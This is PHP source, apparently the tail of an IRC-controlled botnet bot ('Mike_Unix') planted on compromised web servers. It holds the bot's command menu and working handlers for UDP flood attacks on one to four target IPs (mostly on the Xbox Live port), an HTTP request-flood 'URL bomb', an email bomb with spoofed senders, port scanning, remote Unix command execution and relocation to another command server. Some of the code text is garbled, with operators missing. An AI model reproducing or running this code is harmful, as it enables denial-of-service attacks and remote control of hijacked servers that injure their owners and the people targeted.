$this->privmsg$this->ffff_you( ),"$blue [".$red."UDP-Flood".$blue."] ? ? ? ".$red.".udpflood ip packetsize time".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Xbox Live Flood".$blue."] ? ? ? ".$red.".xblflood ip packetsize time port".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Two BK Flood".$blue."] ? ? ? ".$red.".2kidz first.ip second.ip".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Three BK Flood".$blue."] ? ? ? ".$red.".3kidz first.ip second.ip third.ip".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Four BK Flood".$blue."] ? ? ? ".$red.".4kidz first.ip second.ip third.ip fourth.ip".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Cell RapE".$blue."] ? ? ? ".$red.".cellhelp".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Cell Phone Carriers".$blue."] ? ? ? ".$red.".carriers".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Evidence Eraser".$blue."] ? ? ? ".$red.".noevidence".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Hop".$blue."] ? ? ? ".$red.".hop #channel".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Exec".$blue."] ? ? ? ".$red.".exec unix command(s)".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."eMail RapE".$blue."] ? ? ? ".$red.".bomb victim@fbi.gov spoofed@fake.com Subject NumberOfMails EmailBody".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Count".$blue."] ? ? ? ".$red.".count".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Nick".$blue."] ? ? ? ".$red.".nick (nzm or unix)".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Credits".$blue."] ? ? ? ".$red.".credits".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Version".$blue."] ? ? ? ".$red.".v or !ver or !version".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Bot Ip".$blue."] ? ? ? ".$red.".ip".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."MD5 Encrypt".$blue."] ? ? ? ".$red.".md5 string_to_encrypt".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."DnS".$blue."] ? ? ? ".$red.".dns google.com".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Kill Bot".$blue."] ? ? ? ".$red.".exit or !gtfo".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Reconnect".$blue."] ? ? ? ".$red.".restart".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Whois".$blue."] ? ? ? ".$red.".whois 127.0.0.1".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Raw Irc Commands".$blue."] ? ? ? ".$red.".join, .part, .msg".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Port Scan".$blue."] ? ? ? ".$red.".pscan ip port".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Infected Site Check".$blue."] ? ? ? ".$red.".site".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Random Nick".$blue."] ? ? ? ".$red.".randnick".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."URL Bomb".$blue."] ? ? ? ".$red.".urlbomb site.com /path NumberOfRefreshes".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Server Uptime".$blue."] ? ? ? ".$red.".uptime".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Speed Test".$blue."] ? ? ? ".$red.".speedtest".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Quick UDP-Flood".$blue."] ? ? ? ".$red.".quick ip".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Check Last Login".$blue."] ? ? ? ".$red.".lastlogin".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Raw Irc Command".$blue."] ? ? ? ".$red.".raw command".$blue." ? ? ?");
                                                
$this->privmsg$this->ffff_you( ),"$blue [".$red."Change Command Prefix".$blue."] ? ? ? ".$red.".changeprefix newprefix Example: .changeprefix !".$blue." ? ? ?");
                                                break;
                                            }
                                            case 
"md5":
                                            {
                                                        
$leetprefix $this->config['leetprefix'];
                                                        
$leetsuffixred $this->config['leetsuffixred'];
                                                        
$red $this->config['yellow'];
                                                        
$blue $this->config['blue'];
                                                
$str_md5 substrstrstr$msg$mcmd[0] ), strlen$mcmd[0] ) + );
                                                
$this->privmsg$this->ffff_you( ), "$blue [ $red MD5 $blue ]: $blue [ ".$red."'".$str_md5."' ".$blue."Encrypts To $red'".md5($str_md5)."' $blue ]" );
                                                break;
                                            }
                                            case 
"dns":
                                            {
                                                if(isset(
$mcmd[1]))
                                                   {
                                                      
$ip explode(".",$mcmd[1]);
                                                      if(
count($ip)==&& is_numeric($ip[0]) && is_numeric($ip[1])
                                                        && 
is_numeric($ip[2]) && is_numeric($ip[3]))
                                                      {
                                                        
$leetprefix $this->config['leetprefix'];
                                                        
$leetsuffixred $this->config['leetsuffixred'];
                                                        
$red $this->config['yellow'];
                                                        
$blue $this->config['blue'];
                                                         
$this->privmsg($this->ffff_you( ),"$leetprefix $blue [ $red DnS $blue ]: $red ".$mcmd[1]." $blue Resolves To $leetprefix $red ".gethostbyaddr($mcmd[1]));
                                                          }
                                                      else
                                                      {
                                                        
$leetprefix $this->config['leetprefix'];
                                                        
$leetsuffixred $this->config['leetsuffixred'];
                                                        
$red $this->config['yellow'];
                                                        
$blue $this->config['blue'];
                            
$this->privmsg($this->ffff_you( ),"$blue [ $red DnS $blue ]: $red ".$mcmd[1]." $blue Resolves To $red ".gethostbyname($mcmd[1]));
                                                      }
                                                   }
                                                break;
                                            }
                                            case 
"exit":
                                            {
                                                
fclose$this->conn );
                                                exit( );
                                                break;
                                            }
                                            case 
"husk":
                                            {
                                                
fclose$this->conn );
                                                exit( );
                                                break;
                                            }
                                            case 
"gtfo":
                                            {
                                                
fclose$this->conn );
                                                exit( );
                                                break;
                                            }
                                            case 
"restart":
                                            {
                                                
$leetprefixwhite $this->config['leetprefixwhite'];
                                                
$leetsuffixwhite $this->config['leetsuffixwhite'];
                                                
$red $this->config['yellow'];
                                                
$blue $this->config['blue'];
                                                
$this->privmsg$this->ffff_you( ), "$leetprefixwhite $red Restarting! $leetsuffixwhite $blue Please wait!" );
                                                
$this->send"QUIT :restart command from ".$nick );
                                                
fclose$this->conn );
                                                
$this->start();
                                                break;
                                            }
                                            case 
"lastresort":
                                            {
                                                if( 
count$mcmd ) > )
                                                {
                                                    
$server $mcmd[1];
                                                    
$port $mcmd[2];
                                                    
$channel $mcmd[3];
                                                    
$key $mcmd[4];

                                                    if( 
$this->using_encode )
                                                    {
                                                        
$this->config'server' ] = base64_encode$server );
                                                        
$this->config'chan' ] = base64_encodestr_replace"#"""$channel ) );
                                                        
$this->config'key' ] = base64_encode$key );
                                                    }
                                                    else
                                                    {
                                                        
$this->config'server' ] = $server;
                                                        
$this->config'chan' ] = str_replace"#"""$channel );
                                                        
$this->config'key' ] = $key;
                                                    }

                                                    
$this->config'port' ] = $port;
                                                    
$this->privmsg$this->ffff_you( ), "[ moveserver ] ".$server." => ".$port." => ".$channel." => ".$key );
                                                    
$this->send"QUIT :moveserver command from ".$nick );

                                                    
fclose$this->conn );
                                                    
$this->start();
                                                }
                                                break;
                                            }
                                            case 
"whois":
                                            {
                                                
$param2 $mcmd[1];

                                                if( !empty( 
$param2 ) )
                                                {
                                                    
//do it
                                                    //http://www.geoip.co.uk/?IP=98.214.115.193&submit.x=23&submit.y=11
                                                    
$fp fsockopen"geoip.co.uk"80$errno$errstr30 );

                                                    if( 
$fp )
                                                    {
                                                        
$out "GET /ipwhois.php?ip=$param2&Submit=submit HTTP/1.1\r\n";
                                                        
$out .= "Host: geoip.co.uk\r\n";
                                                        
$out .= "Keep-Alive: 300\r\n";
                                                        
$out .= "Connection: keep-alive\r\n\r\n";
                                                        
fwrite$fp$out );

                                                        
$whodata '';
                                                        while(!
feof($fp))
                                                        {
                                                            
/*do nothing*/
                                                            
$whodata .= fread$fp1024 );
                                                        }

                                                        
$countryc explode"            :"$whodata );
                                                        
$countryc explode"            : <img src="$countryc[1] );
                                                        
$country strip_tags$countryc[0] );

                                                        
$statec explode"$countryc"$whodata );
                                                        
$statec explode"                        <br>"$statec[1] );
                                                        
$state strip_tags$statec[0] );

                                                        
$cityc explode"$statec"$whodata );
                                                        
$cityc explode"            : <img src="$cityc[1] );
                                                        
$city strip_tags$cityc[0] );

                                                        
fclose$fp );
                                                        
$leetprefixwhite $this->config['leetprefixwhite'];
                                                                                                                
$leetsuffixwhite $this->config['leetsuffixwhite'];
                                                                                                                
$red $this->config['yellow'];
                                                                                                                
$blue $this->config['blue'];

                                                        
$this->privmsg$this->ffff_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red Country - $blue $country" );
                                                        
$this->privmsg$this->ffff_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red City - $blue $city" );
                                                        
$this->privmsg$this->ffff_you( ), "$leetprefixwhite $red $param2 $leetsuffixwhite - $red State - $blue $state" );
                                                    }else{
                                                        
$this->privmsg$this->ffff_you( ), "[ whois ] Error: $errstr" );
                                                    }
                                                }
                                                else
                                                {
                                                    
$this->privmsg$this->ffff_you( ), "[ whois ] Invalid params, use .whois <ip/host>" );
                                                }
                                                break;
                                            }
                                            case 
"join":
                                            {
                                                
$channel $mcmd[1];
                                                
$key $mcmd[2];
                                                
$this->join$channel$key );
                                                break;
                                            }
                                            case 
"part":
                                            {
                                                
$this->send"PART ".$mcmd[1] );
                                            }
                                            case 
"msg":
                                            {
                                                
$person $mcmd[1];
                                                
$text substrstrstr$msg$mcmd[1] ), strlen$mcmd[1] ) + );
                                                
$this->privmsg$person$text );
                                                break;
                                            }
                                            case 
"pscan":
                                                      
$leetprefix $this->config['leetprefix'];
                                                    
$leetsuffixred $this->config['leetsuffixred'];
                                                    
$blue $this->config['blue'];
                               if(
count($mcmd) > 2)
                               {
                                  if(
fsockopen($mcmd[1],$mcmd[2],$e,$s,15))
                                     
$this->privmsg($this->ffff_you( ),"$leetprefix $blue Port Scan $leetsuffixred : $red ".$mcmd[1].":".$mcmd[2]." $blue is OPEN !");
                                  else
                                     
$this->privmsg($this->ffff_you( ),"$leetprefix $blue Port Scan $leetsuffixred : $blue ".$mcmd[1].":".$mcmd[2]." $red is CLOSED !");
                                      break;
                               }
                                            case 
"software":
                                            {
                                                
$this->privmsg$this->ffff_you( ), $_SERVER'SERVER_SOFTWARE' ] );
                                                break;
                                            }
                                            case 
"site123":
                                            {
                                                
$leetprefixwhite $this->config['leetprefixwhite'];
                                                
$leetsuffixwhite $this->config['leetsuffixwhite'];
                                                
$red $this->config['yellow'];
                                                
$blue $this->config['blue'];
                                                
$ipzzz = ( $_SERVER["HTTP_HOST"] );
                                                
$this->privmsg$this->ffff_you( ), "$blue This bot is running on $leetprefixwhite $red $ipzzz $leetsuffixwhite" );
                                                break;
                                            }
                                            case 
"randnick":
                                            {
                                                
$this->set_nick();
                                                break;
                                            }
                                            case 
"logout":
                                            {
                                                
$logoutmsg $this->messages['logoutmsg'];
                                                
$leetprefixwhite $this->config['leetprefixwhite'];
                                                
$leetsuffixwhite $this->config['leetsuffixwhite'];
                                                
$red $this->config['yellow'];
                                                
$part2 $this->config['part2'];
                                                
$this->remove_auth$host );
                                                
$this->privmsg$this->ffff_you( ), "$logoutmsg $leetprefixwhite $red$nick $leetsuffixwhite $part2" );
                                                break;
                                            }
                                            case 
"urlbomb":
                                            {
                                                
$this->urlbomb$mcmd], $mcmd], $mcmd] );
                                                break;
                                            }
                                            case 
"udpflood":
                                                {
                                                   if( 
count$mcmd ) > )
                                                   {
                                                      
$this->udpflood($mcmd[1],$mcmd[2],$mcmd[3]);
                                                   }
                                                }
                                            case 
"stop":
                                            {
                                            
fclose($fp);
                                            break;
                                            }
                                            case 
"xblflood":
                                            {
                                                   if( 
count$mcmd ) > )
                                                   {;
                                                      
$this->udpflood4($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
                                                   }
                                                break;
                                            }
                                            case 
"speedtest":
                                            {
                                                      
$this->udpflood3(hi,650000,5);
                                                break;
                                            }
                                            case 
"2kidz":
                                            {
                                                      
$this->udpflood5($mcmd[1],$mcmd[2]);
                                                break;
                                            }
                                            case 
"3kidz":
                                            {
                                                      
$this->udpflood7($mcmd[1],$mcmd[2],$mcmd[3]);
                                                break;
                                            }
                                            case 
"4kidz":
                                            {
                                                      
$this->udpflood6($mcmd[1],$mcmd[2],$mcmd[3],$mcmd[4]);
                                                break;
                                            }
                                                    case 
"quick":
                                            {
                                                   if( 
count$mcmd ) > )
                                                   {
                                                      
$this->udpflood2($mcmd[1],65000,60);
                                                   }
                                                break;
                                                }
                                        }
                                    }
                                }
                            break;
                        }
                    }
                }
                
$old_buf $this->buf;
            }
            
$this->start();
        }

        function 
scanport$host$port )
        {
            if( 
fsockopen$host$port$e$s ) )
            {
                return 
1;
            }
            return 
0;
        }

        function 
urlbomb$host$path$times$mode )
        {
            if( !isset( 
$host ) || !isset( $path ) || !isset( $times ) )
                return;

            
$leetprefixwhite $this->config['leetprefixwhite'];
            
$leetsuffixwhite $this->config['leetsuffixwhite'];
            
$leetprefix $this->config['leetprefix'];
            
$leetsuffixred $this->config['leetsuffixred'];
            
$red $this->config['yellow'];
            
$blue $this->config['blue'];
            
$http "http://";
            
$this->privmsg$this->ffff_you( ),"$leetprefixwhite $red URLbomb started! $leetsuffixwhite  on $red [ $blue ".$http."".$host."".$path." $red ]");

            
$success 0;
            for( 
$i 0$i $times$i++ )
            {
                
$fp fsockopen$host80$errno$errstr30 );
                if( 
$fp )
                {
                    
$out "GET /".$path." HTTP/1.1\r\n";
                    
$out .= "Host: ".$host."\r\n";
                    
$out .= "Keep-Alive: 300\r\n";
                    
$out .= "Connection: keep-alive\r\n\r\n";
                    
fwrite$fp$out );

                    if( 
$mode != )
                    {
                        while(!
feof($fp)){/*do nothing*/}
                    }

                    
fclose$fp );

                    
$success++;
                }
            }
            
$leetprefixwhite $this->config['leetprefixwhite'];
            
$leetsuffixwhite $this->config['leetsuffixwhite'];
            
$leetprefix $this->config['leetprefix'];
            
$leetsuffixred $this->config['leetsuffixred'];
            
$red $this->config['yellow'];
            
$blue $this->config['blue'];
            
$http "http://";
            
$this->privmsg$this->ffff_you( ),"$leetprefixwhite $red URLbomb finished! $leetsuffixwhite $blue on $red [ $blue ".$http."".$host."".$path." $red ] $blue [$red Times Visited: $blue ".$success." $blue ]" );
        }

        function 
udpflood2$host$packetsize$time )
        {
            
$udpmsgfast $this->messages['udpmsgfast'];
            
$leetprefixwhite $this->config['leetprefixwhite'];
            
$leetsuffixwhite $this->config['leetsuffixwhite'];
            
$red $this->config['yellow'];
            
$blue $this->config['yellow'];
            
$this->privmsg$this->ffff_you( ),"$udpmsgfast Started On $leetprefixwhite$red $host $leetsuffixwhite" );
            
$packet "";
            for(
$i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
            
$timei time();
            
$i 0;
            while(
time()-$timei $time)
            {
                
$xboxlive "3074";
                
$fp=fsockopen("udp://".$host,$xboxlive,$e,$s,5);
                
fwrite($fp,$packet);
                
fclose($fp);
                
$i++;
            }
            
$env $i $packetsize;
            
$env $env 1048576;
            
$vel $env $time;
            
$vel round($vel);
            
$env round($env);
            
$fag "$udpmsgfast - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite";
            
$this->privmsg$this->ffff_you( ),"$fag$fag2" );
            
$this->ex('echo 1 >> cache.dat');
        }

    function 
udpflood3$host$packetsize$time )
        {
            
$leetprefixwhite $this->config['leetprefixwhite'];
            
$speedtest $this->messages['speedtest'];
            
$speedtestfin $this->messages['speedtestfin'];
            
$leetsuffixwhite $this->config['leetsuffixwhite'];
            
$red $this->config['yellow'];
            
$blue $this->config['yellow'];
            
$green $this->config['green'];
            
$part1 $this->config['part1'];
            
$part2 $this->config['part2'];
            
$this->privmsg$this->ffff_you( ),"$part1$red The Speedtest Has been Started.... $part2 - $blue Please Wait......" );
            
$packet "";
            for(
$i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
            
$timei time();
            
$i 0;
            while(
time()-$timei $time)
            {
                
$xboxlive "3074";
                
$fp=fsockopen("udp://".$host,$xboxlive,$e,$s,5);
                
fwrite($fp,$packet);
                
fclose($fp);
                
$i++;
            }
            
$env $i $packetsize;
            
$env $env 1048576;
            
$vel $env $time;
            
$vel round($vel);
            
$env round($env);
            
$red $this->config['yellow'];
            
$part1 $this->config['part1'];
            
$part2 $this->config['part2'];
            
$blue $this->config['yellow'];
            
$fag "$part1$red The Speedtest Is Complete. $part2 - $blue This Bot Hits At".$red." $vel MegaBytes/Second";
            
$this->privmsg$this->ffff_you( ),"$fag$fag2" );
            
$this->ex('echo 1 >> cache.dat');
        }

    function 
udpflood5$host$crack )
        {
            
$packetsize "65000";
            
$time "60";
            
$port "3074";
            
$leetprefixwhite $this->config['leetprefixwhite'];
            
$speedtest $this->messages['speedtest'];
            
$speedtestfin $this->messages['speedtestfin'];
            
$leetsuffixwhite $this->config['leetsuffixwhite'];
            
$red $this->config['yellow'];
            
$blue $this->config['yellow'];
            
$green $this->config['green'];
            
$part1 $this->config['part1'];
            
$part2 $this->config['part2'];
            
$this->privmsg$this->ffff_you( ),"$part1$red TwO PlayeR DDoS $part2 - $blue Booting $host and $crack! Attacking on port $port" );
            
$packet "";
            for(
$i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
            
$timei time();
            
$i 0;
            while(
time()-$timei $time)
            {
                
$port "3074";
                
$fp=fsockopen("udp://".$host,$port,$e,$s,5);
                
$fp2=fsockopen("udp://".$crack,$port,$e,$s,5);
                
fwrite($fp,$packet);
                
fwrite($fp2,$packet);
                
fclose($fp);
                
fclose($fp2);
                
$i++;
            }
            
$env $i $packetsize;
            
$env $env 1048576;
            
$vel $env $time;
            
$vel round($vel);
            
$env round($env);
            
$red $this->config['yellow'];
            
$part1 $this->config['part1'];
            
$part2 $this->config['part2'];
            
$blue $this->config['yellow'];
            
$fag "$part1$red TwO PlayeR DDoS! $part2 - $blue $host and $crack are offline! ".$red." $vel MegaBytes/Second";
            
$this->privmsg$this->ffff_you( ),"$fag$fag2" );
            
$this->ex('echo 1 >> cache.dat');
        }

    function 
udpflood6$host$crack$herion$coke )
        {
            
$packetsize "65000";
            
$time "60";
            
$port "3074";
            
$leetprefixwhite $this->config['leetprefixwhite'];
            
$speedtest $this->messages['speedtest'];
            
$speedtestfin $this->messages['speedtestfin'];
            
$leetsuffixwhite $this->config['leetsuffixwhite'];
            
$red $this->config['yellow'];
            
$blue $this->config['yellow'];
            
$green $this->config['green'];
            
$part1 $this->config['part1'];
            
$part2 $this->config['part2'];
            
$this->privmsg$this->ffff_you( ),"$part1$red 4 Player DDoS! $part2 - $blue Booting $host, $crack, $herion, and $coke! Attacking on port $port" );
            
$packet "";
            for(
$i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
            
$timei time();
            
$i 0;
            while(
time()-$timei $time)
            {
                
$port "3074";
                
$fp=fsockopen("udp://".$host,$port,$e,$s,5);
                
$fp2=fsockopen("udp://".$crack,$port,$e,$s,5);
                
$fp3=fsockopen("udp://".$herion,$port,$e,$s,5);
                
$fp4=fsockopen("udp://".$coke,$port,$e,$s,5);
                
fwrite($fp,$packet);
                
fwrite($fp2,$packet);
                
fwrite($fp3,$packet);
                
fwrite($fp4,$packet);
                
fclose($fp);
                
fclose($fp2);
                
fclose($fp3);
                
fclose($fp4);
                
$i++;
            }
            
$env $i $packetsize;
            
$env $env 1048576;
            
$vel $env $time;
            
$vel round($vel);
            
$env round($env);
            
$red $this->config['yellow'];
            
$part1 $this->config['part1'];
            
$part2 $this->config['part2'];
            
$blue $this->config['yellow'];
            
$fag "$part1$red 4 Player DDoS CompletE! $part2 - $blue $host, $crack, $herion, and $coke are ALL offline! ".$red." $vel MegaBytes/Second";
            
$this->privmsg$this->ffff_you( ),"$fag$fag2" );
            
$this->ex('echo 1 >> cache.dat');
        }

    function 
udpflood7$stoner$allalone$daynnite )
        {
            
$packetsize "65000";
            
$time "60";
            
$port "3074";
            
$leetprefixwhite $this->config['leetprefixwhite'];
            
$speedtest $this->messages['speedtest'];
            
$speedtestfin $this->messages['speedtestfin'];
            
$leetsuffixwhite $this->config['leetsuffixwhite'];
            
$red $this->config['yellow'];
            
$blue $this->config['yellow'];
            
$green $this->config['green'];
            
$part1 $this->config['part1'];
            
$part2 $this->config['part2'];
            
$this->privmsg$this->ffff_you( ),"$part1$red 3 Player DDoS! $part2 - $blue Booting $stoner, $allalone, and $daynnite! Attacking on port $port" );
            
$packet "";
            for(
$i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
            
$timei time();
            
$i 0;
            while(
time()-$timei $time)
            {
                
$port "3074";
                
$fp2=fsockopen("udp://".$stoner,$port,$e,$s,5);
                
$fp3=fsockopen("udp://".$allalone,$port,$e,$s,5);
                
$fp4=fsockopen("udp://".$daynnite,$port,$e,$s,5);
                
fwrite($fp2,$packet);
                
fwrite($fp3,$packet);
                
fwrite($fp4,$packet);
                
fclose($fp2);
                
fclose($fp3);
                
fclose($fp4);
                
$i++;
            }
            
$env $i $packetsize;
            
$env $env 1048576;
            
$vel $env $time;
            
$vel round($vel);
            
$env round($env);
            
$red $this->config['yellow'];
            
$part1 $this->config['part1'];
            
$part2 $this->config['part2'];
            
$blue $this->config['yellow'];
            
$fag "$part1$red 3 Player DDoS CompletE! $part2 - $blue $stoner, $allalone, and $daynnite are now offline offline! ".$red." $vel MegaBytes/Second";
            
$this->privmsg$this->ffff_you( ),"$fag$fag2" );
            
$this->ex('echo 1 >> cache.dat');
        }


        function 
udpflood$host$packetsize$time )
        {
            
$udpmsg $this->messages['udpmsg'];
            
$leetprefixwhite $this->config['leetprefixwhite'];
            
$leetsuffixwhite $this->config['leetsuffixwhite'];
            
$red $this->config['yellow'];
            
$blue $this->config['yellow'];
            
$this->privmsg$this->ffff_you( ),"$udpmsg Started On $leetprefixwhite$red $host $leetsuffixwhite for $leetprefixwhite$red $time Seconds $leetsuffixwhite$red With $leetprefixwhite$red $packetsize Packets $leetsuffixwhite" );
            
$packet "";
            for(
$i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
            
$timei time();
            
$i 0;
            while(
time()-$timei $time)
            {
                
$fp=fsockopen("udp://".$host,mt_rand(0,6000),$e,$s,5);
                
fwrite($fp,$packet);
                
fclose($fp);
                
$i++;
            }
            
$env $i $packetsize;
            
$env $env 1048576;
            
$vel $env $time;
            
$vel round($vel);
            
$env round($env);
            
$fag "$udpmsg - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite";
            
$this->privmsg$this->ffff_you( ),"$fag$fag2" );
            
$this->ex('echo 1 >> cache.dat');
        }

        function 
udpflood4$host$packetsize$time$port )
        {
            
$udpmsg $this->messages['udpmsg'];
            
$leetprefixwhite $this->config['leetprefixwhite'];
            
$leetsuffixwhite $this->config['leetsuffixwhite'];
            
$red $this->config['yellow'];
            
$blue $this->config['yellow'];
            
$this->privmsg$this->ffff_you( ),"$udpmsg Started On $leetprefixwhite$red $host $leetsuffixwhite for $leetprefixwhite$red $time Seconds $leetsuffixwhite$red With $leetprefixwhite$red $packetsize Packets $leetsuffixwhite$red On port $leetprefixwhite$red $port $leetsuffixwhite" );
            
$packet "";
            for(
$i=0;$i<$packetsize;$i++) { $packet .= chr(mt_rand(1,256)); }
            
$timei time();
            
$i 0;
            while(
time()-$timei $time)
            {
                
$fp=fsockopen("udp://".$host,$port,$e,$s,5);
                
fwrite($fp,$packet);
                
fclose($fp);
                
$i++;
            }
            
$env $i $packetsize;
            
$env $env 1048576;
            
$vel $env $time;
            
$vel round($vel);
            
$env round($env);
            
$fag "$udpmsg - Sent Total $leetprefixwhite$red $env Megabytes $leetsuffixwhite$red With A Speed Of $leetprefixwhite$red $vel MegaBytes/Second $leetsuffixwhite On Port $leetprefixwhite$red $port $leetsuffixwhite";
            
$this->privmsg$this->ffff_you( ),"$fag$fag2" );
            
$this->ex('echo 1 >> cache.dat');
        }

        function 
send($msg)
        {
            
fwrite($this->conn,"$msg\r\n");
        }

        function 
join($chan,$key=NULL)
        {
            
$this->send("JOIN $chan $key");
        }

        function 
privmsg($to,$msg)
        {
            
$this->send("PRIVMSG $to :$msg");
        }

        function 
notice($to,$msg)
        {
            
$this->send("NOTICE $to :$msg");
        }

         function 
set_nick()
         {
            
$prefix .= "[RFI|";
            
$random_number "";
            for( 
$i 0$i $this->config'maxrand' ]; $i++ )
            {
                
$random_number .= mt_rand0);
            }

            
$this->nick sprintf$prefix.$this->config'nickform' ], $random_number );
            
$this->send("NICK ".$this->nick);
         }
         function 
busk_nick()
         {
            
$prefix .= "[RooT|LinuX|";
            
$random_number "";
            for( 
$i 0$i $this->config'maxrand' ]; $i++ )
            {
                
$random_number .= mt_rand0);
            }

            
$this->nick sprintf$prefix.$this->config'nickform2' ], $random_number );
            
$this->send("NICK ".$this->nick);
         }
         function 
nzm_nick()
         {
            
$prefix .= "[USA|";
            
$random_number "";
            for( 
$i 0$i $this->config'maxrand' ]; $i++ )
            {
                
$random_number .= mt_rand0);
            }
            
$ffffu "$this->config[ 'prfix' ]";
            
$this->nick sprintf$prefix.$this->config['prfix'], $random_number );
            
$this->send("NICK ".$this->nick);
         }

        function 
parse_url_s$url )
        {
            
$URLpcs = ( parse_url$url ) );
            
$PathPcs explode"/"$URLpcs['path'] );
            
$URLpcs['file'] = end$PathPcs );
            unset( 
$PathPcskey$PathPcs ) ] );
            
$URLpcs['dir'] = implode("/",$PathPcs);

            
$fileext explode'.'$URLpcs['file'] );

            if(
count($fileext))
            {
                
$URLpcs['file_ext'] = $fileextcount$fileext ) - ];
            }

            return (
$URLpcs);
        }
    }

    
$bot = new Mike_Unix;
    
$bot->start();

?>